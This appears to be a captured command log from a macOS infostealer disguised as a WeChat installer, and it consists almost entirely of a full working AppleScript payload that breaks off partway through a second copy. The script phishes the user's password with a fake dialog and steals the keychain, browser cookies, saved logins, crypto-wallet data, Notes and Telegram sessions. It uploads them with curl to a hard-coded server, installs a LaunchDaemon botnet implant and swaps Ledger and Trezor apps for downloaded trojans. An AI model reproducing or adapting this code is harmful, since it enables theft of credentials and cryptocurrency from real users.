sh -c "sudo /bin/zsh -c \"/Users/run/WeChatInstaller/WeChatInstaller.app/Contents/MacOS/WeChatInstaller\""

sh -c "sudo /bin/zsh -c \"/Users/run/WeChatInstaller/WeChatInstaller.app/Contents/MacOS/WeChatInstaller\""

sudo /bin/zsh -c /Users/run/WeChatInstaller/WeChatInstaller.app/Contents/MacOS/WeChatInstaller

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on isDir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if end try return false end isDir on readfile(pather) try set theFile to POSIX file pather set fileContents to read theFile return fileContents end try return \"\" end readfile on Directory(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try return \"\" end Directory on writeText(textToWrite, filePath) try set folderPath to Directory(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) set eof of fileRef to 0 write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to Directory(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\", \"GPUCache\", \"DawnCache\", \"Crashpad\", \"DawnWebGPUCache\", \"DawnGraphiteCache\", \"__update__\", \"tor\", \"media\", \"calls\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDir(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on chromemasterpass(writemind) try repeat 30 times set cmd to \"security find-generic-password -ga \\\"Chrome\\\" 2>&1 >/dev/null | sed -n \\\"s/^password: \\\\\\\"\\\\(.*\\\\)\\\\\\\"/\\\\1/p\\\"\" set masterpass to do shell script cmd if masterpass is not equal to \"\" then writeText(masterpass, writemind & \"masterpass-chrome\") exit repeat end if delay 0.05 end repeat end try end chromemasterpass on getpwd(username, writemind, appsTxt) try set imagePath to \"/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns\" as POSIX file if checkvalid(username, \"\") then if appsTxt contains \"Google Chrome.app\" then chromemasterpass(writemind) end if else repeat 30 times set result to display dialog \"Please enter device password to continue.\" default answer \"\" with icon imagePath buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Password Request\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, isIndex) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with currentPlugin in pluginList if (PFile contains currentPlugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & currentPlugin if isIndex then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"jbkgjmpfammbgejcpedggoefddacbdia\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"nebnhfamliijlghikdgcigoebonmoibm\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"ffbceckpkpbcmgiaehlloocglmijnpmp\", \"kfdniefadaanbjodldohaedphafoffoh\", \"bedogdpgdnifilpgeianmmdabklhfkcn\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"mmmjbcfofconkannjonfmjjajpllddbg\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"jiepnaheligkibgcjgjepjfppgbcghmp\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"idpdilbfamoopcfofbipefhmmnflljfi\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pfccjkejcgoppjnllalolplgogenfojk\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"eajafomhmkipbjmfmhebemolkcicgfmd\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"cmoakldedjfnjofgbbfenefcagmedlga\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"kbdcddcmgoplfockflacnnefaehaiocb\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"fdchdcpieegfofnofhgdombfckhbcokj\", \"gjlmehlldlphhljhpnlddaodbjjcchai\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"ojbcfhjmpigfobfclfflafhblgemeidi\", \"ghlmndacnhlaekppcllcpcjjjomjkjpg\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"pdliaogehgdbhbnmkklieghmmjkpigpa\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"jfdlamikmbghhapbgfoogdffldioobgl\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"cflgahhmjlmnjbikhakapcfkpbcmllam\", \"keenhcnmdmjjhincpilijphpiohdppno\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"bcenedbpaaegpnijoadpdjiachahncdg\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"dngmlblcodfobpdpecaadgfbcggfjfnm\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"agoakfejjabomempkjlepdflaleeobhb\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"iglbgmakmggfkoidiagnhknlndljlolb\", \"opfgelmcmbiajamepnmloijbpoleiama\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"gafhhkghbfjjkeiendhlofajokpaflmk\", \"imlcamfeniaidioeflifonfjeeppblda\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"dldjpboieedgcmpkchcjcbijingjcgok\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"lccbohhgfkdikahanoclbdmaolidjdfl\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"gjagmgiddbbciopjhllkdnddhcglnemk\", \"cnncmdhjacpkmjmkcafchppbnpnhdmon\", \"mfgccjchihfkkindfppnaooecgfneiii\", \"ieldiilncjhfkalnemgjbffmpomcaigi\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bgpipimickeadkjlklgciifhnalhdjhe\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"aeachknmefphepccionboohckonoeemg\", \"gdokollfhmnbfckbobkdbakhilldkhcj\", \"jiiigigdinhhgjflhljdkcelcjfmplnd\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"fcckkdbjnoikooededlapcalpionmalo\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"cihmoadaighcejopammfbmddcmdekcje\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"kilnpioakcdndlodeeceffgjdpojajlo\", \"abogmiocnneedmmepnohnhlijcjpcifd\", \"bofddndhbegljegmpmnlbhcejofmjgbn\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"lfmmjkfllhmfmkcobchabopkcefjkoip\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"anokgmphncpekkhclmingpimjmcooifb\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"akkmagafhjjjjclaejjomkeccmjhdkpa\", \"ehgjhhccekdedpbkifaojjaefeohnoea\", \"mkpegjkblkkefacfnmkajcjmabijhclg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"jnmbobjmhlngoefaiojfljckilhhlhcj\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kppfdiipphfccemcignhifpjkapfbihd\", \"hcjhpkgbmechpabifbggldplacolbkoh\", \"flpiciilemghbmfalicajoolhkkenfel\", \"mlbnicldlpdimbjdcncnklfempedeipj\", \"cfbfdhimifdmdehjmkdobpcjfefblkjm\", \"ocjobpilfplciaddcbafabcegbilnbnb\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"lpilbniiabackdjcionkobglmddfbcjo\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"bocpokimicclpaiekenaeelehdjllofo\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"aflkmfhebedbjioipglgcbcmnbpgliof\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"lmkncnlpeipongihbffpljgehamdebgi\", \"gjnckgkfmgmibbkoficdidcljeaaaheg\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"nknhiehlklippafakaeklbeglecifhad\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"phkbamefinggmakgklpkljjmgibohnba\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"jblndlipeogpafnldhgmapagcccfchpi\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"dpcklmdombjcplafheapiblogdlgjjlb\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kennjipeijpeengjlogfdjkiiadhbmjl\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"heamnjbnflcikcggoiplibfommfbkjpj\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"nhlnehondigmgckngjomcpcefcdplmgc\", \"fiikommddbeccaoicoejoniammnalkfa\", \"ejbidfepgijlcgahbmbckmnaljagjoll\", \"glmhbknppefdmpemdmjnjlinpbclokhn\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"hpclkefagolihohboafpheddmmgdffjm\", \"ilolmnhjbbggkmopnemiphomhaojndmb\", \"panpgppehdchfphcigocleabcmcgfoca\", \"nngceckbapebfimnlniiiahkandclblb\", \"hdokiejnpimakedhajhdlcegeplioahd\", \"eiaeiblijfjekdanodkjadfinkhbfgcd\", \"bfogiafebfohielmmehodmfbbebbbpei\", \"pnlccmojcmeohlpggmfnbbiapkmbliob\", \"aeblfdkhhhdcdjpifhhbdiojplfjncoa\", \"kmcfomidfpdkfieipokbalgegidffkal\", \"fdjamakpfbbddfjaooikfcpapjohcfmg\", \"ghmbeldphafepmbegfdlkpapadhbakde\", \"cnlhokffphohmfcddnibpohmkdfafdli\", \"khhapgacijodhjokkcjmleaempmchlem\", \"admmjipmmciaobhojoghlmleefbicajg\", \"caljgklbbfbcjjanaijlacgncafpegll\", \"bdgmdoedahdcjmpmifafdhnffjinddgc\", \"bhghoamapcdpbohphigoooaddinpkbai\", \"iklgijhacenjgjgdnpnohbafpbmnccek\", \"bbphmbmmpomfelajledgdkgclfekilei\", \"npjilhodcgmigpladpfkkclbmkebalfd\", \"gmegpkknicehidppoebnmbhndjigpica\", \"ibpjepoimpcdofeoalokgpjafnjonkpc\", \"gmohoglkppnemohbcgjakmgengkeaphi\", \"pdiccmolmknojplidnlkaenkejbminpp\", \"dbfoemgnkgieejfkaddieamagdfepnff\", \"mmhlniccooihdimnnjhamobppdhaolme\", \"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\", \"deelhmmhejpicaaelihagchjjafjapjc\", \"hldllnfgjbablcfcdcjldbbfopmohnda\", \"igkpcodhieompeloncfnbekccinhapdb\", \"ajgehecfkfhindkhdcjmifbngkfdflla\", \"kghbmcgihmefcbjlfiafjcigdcbmecbf\", \"gejiddohjgogedgjnonbofjigllpkmbf\", \"didegimhafipceonhjepacocaffmoppf\", \"bnfdmghkeppfadphbnkjcicejfepnbfe\", \"gcmahhkjkpigcpfpmdjnbiakmbdegfeh\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromiumBrowser in chromium_map set savePath to writemind & \"chromium/\" & item 1 of chromiumBrowser & \"_\" try set fileList to list folder item 2 of chromiumBrowser without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromiumBrowser & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on gecko(writemind, geckoMap) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} repeat with geckoBrowser in geckoMap try set browserName to item 1 of geckoBrowser set browserPath to item 2 of geckoBrowser set fileList to list folder browserPath without invisibles repeat with currentItem in fileList set fpath to writemind & \"gecko/\" & browserName & \"_\" & currentItem set readpath to browserPath & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end repeat end try end gecko on filegrabber(writemind) try set destFolder to writemind & \"finder/\" set destinationFolderPath to POSIX file destFolder set notesMediaFolder to POSIX file (destFolder & \"NotesMedia/\") set extensionsList to {\"txt\", \"pdf\", \"docx\", \"wallet\", \"key\", \"keys\", \"doc\", \"jpeg\", \"png\", \"kdbx\", \"rtf\", \"jpg\", \"seed\"} set bankSize to 0 set notesBankSize to 0 set uuidString to do shell script \"system_profiler SPHardwareDataType | awk \\\"/UUID/ { print \$3 }\\\"\" mkdir(destinationFolderPath) mkdir(notesMediaFolder) tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {\"NoteStore.sqlite\", \"NoteStore.sqlite-shm\", \"NoteStore.sqlite-wal\"} repeat with aFile in notesFiles try duplicate (file aFile of notesFolder) to folder destinationFolderPath with replacing end try end repeat end try set notesAccountsPath to (notesFolderPath & \"Accounts:\") try set notesAccountsFolder to folder notesAccountsPath set notesAccountsFiles to every folder of notesAccountsFolder repeat with nFile in notesAccountsFiles set notesMediaPath to notesAccountsPath & name of nFile & \":Media:\" set notesMediaAllProfiles to every folder of (folder notesMediaPath) repeat with profileFolder in notesMediaAllProfiles set notesMediaProfilesPath to notesMediaPath & name of profileFolder set notesMediaProfileFiles to every folder of (folder notesMediaProfilesPath) repeat with notesUUID in notesMediaProfileFiles set noteIdFiles to every file of notesUUID repeat with notesIdFile in noteIdFiles try set fileSize to size of notesIdFile as text set notesBankSize to notesBankSize + fileSize if notesBankSize < 12 * 1024 * 1024 then duplicate notesIdFile to notesMediaFolder with replacing else exit repeat end if end try end repeat end repeat end repeat end repeat end try try set safariFolderPath to (path to library folder from user domain as text) & \"Safari:\" duplicate (file \"Form Values\" of folder safariFolderPath) to destinationFolderPath with replacing end try try set keychainFolder to (path to library folder from user domain as text) & \"Keychains:\" & uuidString duplicate folder keychainFolder to destinationFolderPath with replacing end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on notes(writemind) try set realoutput to \"\" set total_length to 0 tell application \"Notes\" set outputList to {} set allAccounts to every account repeat with anAccount in allAccounts try set noteProperties to properties of every note in anAccount set total_length to total_length + (length of noteProperties) repeat with aNote in noteProperties try set noteLine to (creation date of aNote) & return & (body of aNote) copy noteLine to end of outputList end try end repeat end try end repeat set realoutput to outputList as text end tell if total_length > 0 then set realoutput to \"<h1>Notes Count: \" & (total_length as text) & \"</h1> <br><br><br> \" & realoutput writeText(realoutput, writemind & \"finder/notes.html\") end if end try end notes on telegram(writemind, library) try set tgPath to library & \"Telegram Desktop/tdata/\" set tgSavePath to writemind & \"tg/\" readwrite(tgPath & \"key_datas\", tgSavePath & \"key_datas\") set tgFiles to list folder tgPath without invisibles set needFiles to {} repeat with tgFile in tgFiles set checkName to tgFile & \"s\" if checkName is in tgFiles then copy tgFile to end of needFiles end if end repeat repeat with needFile in needFiles readwrite(tgPath & needFile & \"s\", tgSavePath & needFile & \"s\") readwrite(tgPath & needFile & \"/maps\", tgSavePath & needFile & \"/maps\") end repeat end try end telegram on telegramV2(writemind, libraryRaw) try set tgPath to libraryRaw & \"Group Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/\" set tgSavePath to writemind & \"tgmac/stable/\" set tgFiles to list folder tgPath without invisibles repeat with tgFile in tgFiles if isDir(tgPath & tgFile) and tgFile contains \"account\" then GrabFolder(tgPath & tgFile, tgSavePath & tgFile) end if end repeat readwrite(tgPath & \".tempkeyEncrypted\", tgSavePath & \".tempkeyEncrypted\") end try end telegramV2 on botnet_init(macUsername, pwd, bothandlerAddr) try set plistAutoStart to (do shell script \"curl -s \" & bothandlerAddr & \"/api/v1/getscpt/\" & macUsername) writeText(plistAutoStart, \"/tmp/starter\") do shell script \"echo \" & quoted form of pwd & \" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist\" try do shell script \"echo \" & quoted form of pwd & \" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist\" on error do shell script \"nohup \" & mybotnet & \" >/dev/null 2>&1 &\" end try end try end botnet_init on swapApp(password_entered, serverIP, appName, serverFileName) try set appPath to \"/Applications/\" & appName & \".app\" set tmpFilePath to \"/tmp/\" & serverFileName set filePathURL to serverIP & \"/web/\" & serverFileName list folder POSIX file appPath do shell script \"curl \" & quoted form of filePathURL & \" -o \" & quoted form of tmpFilePath try do shell script \"pkill \" & quoted form of appName end try if password_entered is not equal to \"\" then do shell script \"echo \" & quoted form of password_entered & \" | sudo -S rm -rf \" & quoted form of appPath else do shell script \"rm -rf \" & quoted form of appPath end if delay 1 do shell script \"ditto -x -k \" & quoted form of tmpFilePath & \" /Applications\" end try end swapApp on send_data(attempt, outUsername, serverIP) try set result_send to (do shell script \"curl -X POST -H \\\"buildid: a1e5c09d66b641d8b680f31dca962845\\\" -H \\\"username: \" & outUsername & \"\\\" --data-binary @/tmp/xdivcmp.zip \" & serverIP & \"/log\") on error if attempt < 10 then delay 60 send_data(attempt + 1, outUsername, serverIP) end if end try end send_data set outUsername to \"xxx\" set serverIP to \"http://172.94.9.250\" set macUsername to (system attribute \"USER\") set writemind to \"/tmp/xdivcmp/\" set homePath to \"/Users/\" & macUsername & \"/\" set libraryRaw to homePath & \"Library/\" set library to libraryRaw & \"Application Support/\" set appsTxt to \"\" set majorVersion to 0 set minorVersion to 0 try set apps to list folder \"/Applications\" repeat with appName in apps set appsTxt to appsTxt & appName & return end repeat writeText(appsTxt, writemind & \"installedSoft\") set macOSVers to (do shell script \"sw_vers -productVersion\") set {tid, text item delimiters} to {text item delimiters, \".\"} set majorVersion to text item 1 of macOSVers as integer set minorVersion to text item 2 of macOSVers as integer set text item delimiters to tid end try set masterpassGot to false if appsTxt contains \"Google Chrome.app\" then if majorVersion is equal to 26 and minorVersion > 3 then set masterpassGot to true chromemasterpass(writemind) end if if majorVersion > 26 then set masterpassGot to true chromemasterpass(writemind) end if end if set passwordEntered to readfile(homePath & \".pwd\") if not masterpassGot then if not checkvalid(macUsername, passwordEntered) then set passwordEntered to getpwd(macUsername, writemind, appsTxt) end if delay 0.01 end if try filegrabber(writemind) if readfile(writemind & \"finder/NoteStore.sqlite\") is equal to \"\" then notes(writemind) end if telegram(writemind, library) telegramV2(writemind, libraryRaw) end try set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary/\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}, {\"Arc\", library & \"Arc/User Data/\"}, {\"CocCoc\", library & \"CocCoc/Browser/\"}} set walletMap to {{\"Electrum\", homePath & \".electrum/wallets/\"}, {\"Coinomi\", library & \"Coinomi/wallets/\"}, {\"Exodus\", library & \"Exodus/\"}, {\"Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"Wasabi\", homePath & \".walletwasabi/client/Wallets/\"}, {\"Ledger_Live\", library & \"Ledger Live/\"}, {\"Monero\", homePath & \"Monero/wallets/\"}, {\"Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"Dash_Core\", library & \"DashCore/wallets/\"}, {\"Electrum_LTC\", homePath & \".electrum-ltc/wallets/\"}, {\"Electron_Cash\", homePath & \".electron-cash/wallets/\"}, {\"Guarda\", library & \"Guarda/\"}, {\"Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"Trezor_Suite\", library & \"@trezor/suite-desktop/\"}, {\"Sparrow\", homePath & \".sparrow/wallets/\"}} set geckoMap to {{\"Firefox\", library & \"Firefox/Profiles/\"}, {\"Waterfox\", library & \"Waterfox/Profiles/\"}} readwrite(libraryRaw & \"Keychains/login.keychain-db\", writemind & \"kc\") writeText(passwordEntered, writemind & \"pwd\") writeText(macUsername, writemind & \"user\") try set result_userinfo to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result_userinfo, writemind & \"hardware\") end try repeat with deskWallet in walletMap GrabFolder(item 2 of deskWallet, writemind & \"deskwallets/\" & item 1 of deskWallet) end repeat chromium(writemind, chromiumMap) gecko(writemind, geckoMap) do shell script \"ditto -c -k --sequesterRsrc /tmp/xdivcmp /tmp/xdivcmp.zip\" send_data(0, outUsername, serverIP) do shell script \"rm -rf /tmp/xdivcmp\" do shell script \"rm -f /tmp/xdivcmp.zip\" try set bothandlerAddr to \"http://192.253.248.181\" if bothandlerAddr is not equal to \"false\" then if readfile(homePath & \".botid\") is equal to \"\" then if passwordEntered is not equal to \"\" then writeText(passwordEntered, homePath & \".pwd\") writeText(serverIP, homePath & \".phost\") writeText(bothandlerAddr, homePath & \".bhost\") writeText(outUsername, homePath & \".username\") botnet_init(macUsername, passwordEntered, bothandlerAddr) end if end if end if swapApp(passwordEntered, bothandlerAddr, \"Ledger Live\", \"ledger.zip\") swapApp(passwordEntered, bothandlerAddr, \"Ledger Wallet\", \"ledgerwallet.zip\") swapApp(passwordEntered, bothandlerAddr, \"Trezor Suite\", \"trezor.zip\") end try --\$ERROR\$'"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on isDir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if end try return false end isDir on readfile(pather) try set theFile to POSIX file pather set fileContents to read theFile return fileContents end try return \"\" end readfile on Directory(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try return \"\" end Directory on writeText(textToWrite, filePath) try set folderPath to Directory(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) set eof of fileRef to 0 write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to Directory(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\", \"GPUCache\", \"DawnCache\", \"Crashpad\", \"DawnWebGPUCache\", \"DawnGraphiteCache\", \"__update__\", \"tor\", \"media\", \"calls\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDir(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on chromemasterpass(writemind) try repeat 30 times set cmd to \"security find-generic-password -ga \\\"Chrome\\\" 2>&1 >/dev/null | sed -n \\\"s/^password: \\\\\\\"\\\\(.*\\\\)\\\\\\\"/\\\\1/p\\\"\" set masterpass to do shell script cmd if masterpass is not equal to \"\" then writeText(masterpass, writemind & \"masterpass-chrome\") exit repeat end if delay 0.05 end repeat end try end chromemasterpass on getpwd(username, writemind, appsTxt) try set imagePath to \"/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns\" as POSIX file if checkvalid(username, \"\") then if appsTxt contains \"Google Chrome.app\" then chromemasterpass(writemind) end if else repeat 30 times set result to display 